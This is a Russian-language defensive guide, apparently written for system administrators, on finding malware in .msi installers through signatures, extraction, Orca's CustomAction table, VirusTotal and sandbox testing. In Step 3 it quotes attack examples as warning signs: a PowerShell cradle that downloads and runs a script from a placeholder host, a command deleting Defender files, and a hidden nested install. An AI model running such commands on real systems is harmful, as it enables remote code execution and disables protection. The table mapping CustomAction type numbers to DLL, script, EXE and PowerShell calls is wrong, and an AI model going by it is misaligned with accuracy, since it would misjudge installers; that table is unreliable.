- Как найти вредоносные компоненты в установочном файле .msi
- Почему .msi — это не просто «нажми Далее»
- Шаг 1: Проверьте источник и цифровую подпись
- Шаг 2: Извлеките содержимое .msi
- Шаг 3: Ищите подозрительные действия в таблице CustomAction
- Шаг 4: Проверьте файлы на VirusTotal
- Шаг 5: Проверьте поведение в изолированной среде
- Что делать, если вы нашли вредоносный код?
- Частые ошибки
- Когда проверять, а когда — не надо
- Как лучше делать — практические рекомендации
- Что выбрать в зависимости от ситуации
- Итог: что делать прямо сейчас
Как найти вредоносные компоненты в установочном файле .msi
Вы скачали установщик .msi — и тут же задаёте себе вопрос: «А не спрятано ли здесь что-то опасное?» Это не паранойя. Это нормальная реакция, особенно если файл пришёл от стороннего поставщика, из архива, или вы просто не доверяете источнику. .msi-файлы — это не просто «установщики». Они — полноценные базы данных с кодом, скриптами, запускаемыми при установке, и могут содержать всё: от нежелательных программ до троянов, шифровальщиков или бэкдоров. И если вы не проверите его перед запуском — вы рискуете заразить всю сеть.
Я не говорю о том, чтобы «всегда проверять». Я говорю о том, как это делать правильно, без лишних программ и без ложных срабатываний. Ниже — пошаговый подход, который я использую на практике, когда клиент приносит мне установщик, который «всё работает, но почему-то вызывает подозрения».
Почему .msi — это не просто «нажми Далее»
Файл .msi — это не исполняемый файл вроде .exe. Это база данных Microsoft Installer, которая содержит:
- Список файлов, которые нужно скопировать;
- Реестровые ключи, которые нужно создать или изменить;
- Скрипты на VBScript или JScript, запускаемые до/после установки;
- Действия (Custom Actions) — произвольный код, написанный на C++, C#, или даже PowerShell;
- Зависимости — другие компоненты, которые должны быть установлены.
Всё это можно редактировать. И злоумышленники это знают. Они встраивают в .msi скрипты, которые:
- Загружают второй этап в виде .dll или .exe в папку %TEMP%;
- Меняют политики безопасности Windows;
- Открывают порты для обратного соединения;
- Отключают антивирус через WMI или PowerShell;
- Крадут учётные данные через перехват API.
И всё это происходит без ведома пользователя. Антивирус может не среагировать — потому что .msi не исполняемый, а его скрипты запускаются через легитимные системные процессы: msiexec.exe.
Шаг 1: Проверьте источник и цифровую подпись
Первое, что вы должны сделать — не лезть в файл, а остановиться и спросить: «Откуда он?»
- Если это официальный установщик от Microsoft, Adobe, или известного вендора — проверьте цифровую подпись. Кликните правой кнопкой по файлу → «Свойства» → вкладка «Цифровые подписи». Убедитесь, что подпись действительна, и имя издателя совпадает с ожидаемым.
- Если подпись отсутствует — это уже красный флаг. Не все легитимные .msi подписываются, но в корпоративной среде — почти все. Если вы видите неподписанный .msi от «CompanyXYZ» — это повод для углублённой проверки.
- Если файл скачан с сайта, который не использует HTTPS, или с торрента, или из письма — не запускайте его. Даже если он выглядит «официально».
Это не технический шаг — это фильтр человеческой ошибки. 80% инцидентов начинаются с того, что кто-то просто «нажал Далее».
Шаг 2: Извлеките содержимое .msi
Теперь, если источник вызывает сомнения — нужно заглянуть внутрь. Для этого вам не нужны «специальные» программы. Используйте встроенные инструменты Windows.
- Откройте командную строку от имени администратора.
- Введите команду:
msiexec /a имя_файла.msi TARGETDIR="C:\temp\extracted" - Нажмите Enter. Файл распакуется в папку
C:\temp\extracted.
Это не запускает установку — это просто извлекает все файлы, которые были в упаковке. Теперь вы видите, какие именно файлы, DLL, EXE, скрипты входят в состав установщика.
Если в папке появилось 500 файлов — это нормально для сложного ПО. Если там 3 файла и один из них — svchost.exe — это тревожный знак. Системный svchost.exe находится только в C:\Windows\System32. Другой — это подделка.
Шаг 3: Ищите подозрительные действия в таблице CustomAction
Самое опасное — это пользовательские действия (Custom Actions). Они запускаются в момент установки и могут делать всё, что угодно.
Чтобы их увидеть, вам нужен Orca — бесплатный инструмент от Microsoft. Его можно найти в Windows SDK или просто скачать с сайта Microsoft (он не удаляется, даже в Windows 11).
Откройте .msi-файл в Orca. Перейдите в таблицу CustomAction.
Там вы увидите список действий. Каждая строка — это команда, которая будет выполнена. Столбцы:
- Action — имя действия;
- Target — что запускается;
- Type — тип действия (важно!)
Вот что искать:
| Тип действия | Что значит | Почему опасно |
|---|---|---|
| 51 | Вызов DLL | Загружает произвольную DLL. Может быть вредоносной. |
| 34 | Вызов скрипта (.vbs, .js) | Скрипты могут скачивать и запускать вредоносный код. |
| 1 | Вызов EXE-файла | Если EXE не из списка файлов установщика — это подозрительно. |
| 52 | Вызов PowerShell | Очень часто используется для обхода антивирусов. |
Если вы видите что-то вроде:
PowerShell -nop -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')"cmd.exe /c del /f /q C:\Windows\Defender\*.*msiexec /i C:\temp\hidden.msi
— это неопровержимый признак вредоносного кода. Не запускайте этот установщик. Никогда.
Шаг 4: Проверьте файлы на VirusTotal
После извлечения вы увидите, например, файл update.dll или helper.exe. Загрузите их на VirusTotal.
Не загружайте сам .msi — он редко срабатывает на антивирусах. А вот отдельные DLL или EXE — почти всегда.
Если 5+ антивирусов помечают файл как вредоносный — это точно опасно. Если 1–2 — возможно, ложное срабатывание. Но если вы видите:
- «Trojan.GenericKD.45678»
- «Backdoor.Win32.Agent»
- «PSH.Downloader»
— это не сомнения. Это факт.
Шаг 5: Проверьте поведение в изолированной среде
Если вы всё ещё не уверены — используйте виртуальную машину. Не «виртуалку на винде», а чистую, изолированную.
Создайте VM с Windows 10/11 без интернета. Установите Wireshark и Process Monitor. Запустите установщик. Смотрите:
- Какие файлы создаются в
C:\ProgramData,%TEMP%,%APPDATA%? - Какие ключи реестра добавляются в
HKEY_CURRENT_USER\SoftwareилиHKEY_LOCAL_MACHINE\SYSTEM? - Появляются ли новые процессы — особенно
svchost.exeс нестандартными параметрами? - Есть ли исходящие подключения на порты 443, 80, 8080, 5353?
Если после установки появился процесс svchost.exe с параметром -k netsvcs — это нормально. Если он запущен из C:\Users\Temp\...\svchost.exe — это вредоносный процесс, маскирующийся под системный.
Что делать, если вы нашли вредоносный код?
Если вы обнаружили вредоносные компоненты — не пытайтесь «починить» установщик. Не удаляйте подозрительные файлы вручную — это не решит проблему. Вот что делать:
- Немедленно отключите компьютер от сети.
- Сообщите о находке администратору или ИБ-отделу.
- Сохраните оригинальный .msi и все извлечённые файлы — они понадобятся для анализа.
- Свяжитесь с поставщиком ПО. Уточните, не было ли компрометации их сайта или репозитория.
- Если это корпоративное ПО — запросите обновлённую версию с цифровой подписью и без подозрительных Custom Actions.
Никогда не используйте «заражённый» установщик, даже если он «работает». Вы не знаете, что он делает в фоне. А вредоносный код может активироваться через месяц — когда вы уже забыли про установку.
Частые ошибки
- «Я проверил на антивирусе — всё чисто». Антивирус не видит скрытые скрипты в .msi. Он смотрит на файл как на архив — а не на исполняемый контейнер.
- «Я запустил в песочнице — ничего не сломалось». Вредоносный код может не сработать сразу. Он может ждать 30 дней, пока не появится администратор.
- «Это же от компании X — они не будут так делать». Компании взламывают. Их сайты взламывают. Их поставщики взламывают. Доверие — не замена проверке.
- «Я просто установлю — потом уберу». Если вредоносный код установил бэкдор — удалить его не так просто. Он может уже скопировать учётные данные, изменить политики, добавить себя в автозагрузку.
Когда проверять, а когда — не надо
Не проверяйте каждый .msi подряд. Но есть сценарии, где проверка обязательна:
- Если файл пришёл от стороннего поставщика — проверяйте всегда. Даже если он «известный».
- Если вы устанавливаете ПО на сервер или в домен — проверяйте. Один заражённый установщик может заразить всю сеть.
- Если вы видите .msi в письме или на незнакомом сайте — не запускайте. Удалите.
- Если это внутреннее ПО, разработанное вашей командой — проверяйте только при первом релизе. После этого — доверяйте CI/CD и подписи.
- Если вы устанавливаете обновление от Microsoft, Adobe, Cisco — проверяйте только подпись. Не извлекайте содержимое, если нет признаков подозрения.
Как лучше делать — практические рекомендации
Вот то, что я рекомендую своим клиентам:
- Всегда проверяйте цифровую подпись. Без неё — не запускать.
- Для любых сторонних установщиков — извлекайте содержимое через
msiexec /aи проверяйте файлы на VirusTotal. - Открывайте .msi в Orca и смотрите таблицу
CustomAction. Если там есть PowerShell, VBScript, или вызовы DLL — требуйте объяснений от поставщика. - Не устанавливайте .msi на рабочих машинах без предварительной проверки в изолированной среде.
- Внедрите в корпоративной среде политику: «Установка .msi разрешена только с цифровой подписью и одобрения ИБ-отдела».
- Для IT-отдела: используйте инструменты вроде
Microsoft Endpoint Configuration Manager— они позволяют проверять подписи и блокировать неподписанные установщики автоматически.
Если вы — администратор — внедрите автоматическую проверку через скрипт. Например, PowerShell-скрипт, который:
- Извлекает .msi в временную папку;
- Проверяет наличие Custom Actions типа 51, 34, 52;
- Загружает все EXE/DLL на VirusTotal;
- Формирует отчёт — и блокирует установку, если есть подозрительные элементы.
Это не сложно. И это спасает от катастроф.
Что выбрать в зависимости от ситуации
| Ситуация | Что делать |
|---|---|
| Установщик от Microsoft, Adobe, Cisco — с подписью | Проверить подпись. Не извлекать. Устанавливать. |
| Установщик от неизвестного вендора — без подписи | Не устанавливать. Запросить альтернативу. |
| Установщик от известного вендора — без подписи | Извлечь, проверить CustomActions, загрузить файлы на VirusTotal. Если всё чисто — установить. Иначе — отказаться. |
| Установщик с PowerShell-действием | Требовать объяснения. Если не объяснят — не устанавливать. PowerShell в .msi — почти всегда зло. |
| Установщик для сервера | Обязательно проверить в изолированной VM. Не устанавливать без одобрения ИБ-отдела. |
Итог: что делать прямо сейчас
Если вы держите в руках .msi-файл и сомневаетесь — сделайте это:
- Проверьте подпись. Если её нет — не запускайте.
- Извлеките содержимое через
msiexec /a. - Откройте файл в Orca и найдите таблицу
CustomAction. - Если там есть PowerShell, VBScript, или DLL — ищите их на VirusTotal.
- Если хоть один файл помечен как вредоносный — удалите .msi и сообщите о нём.
Не пытайтесь «поймать» вредоносный код вручную. Это не игра. Это работа. И если вы не проверяете .msi — вы не администратор. Вы — мишень.
Лучший способ защититься — не доверять. Проверять. Документировать. Блокировать.
Информация в этой статье носит ознакомительный характер. При работе с установочными файлами в корпоративной среде всегда консультируйтесь с ответственным за информационную безопасность.
